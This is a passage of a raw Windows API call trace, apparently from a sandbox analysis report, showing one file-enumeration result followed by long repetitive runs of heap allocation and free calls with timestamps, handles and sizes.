out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0114.027] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16520 | out: hHeap=0x5010000) returned 1 [0114.027] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16520 [0114.027] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.028] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.028] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.029] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.029] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.030] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.030] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.031] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.031] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.032] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.032] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.033] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.033] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.034] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.034] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.035] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16468 | out: hHeap=0x5010000) returned 1 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0114.035] RtlAllocateHeap (HeapHandle=0x5010000, 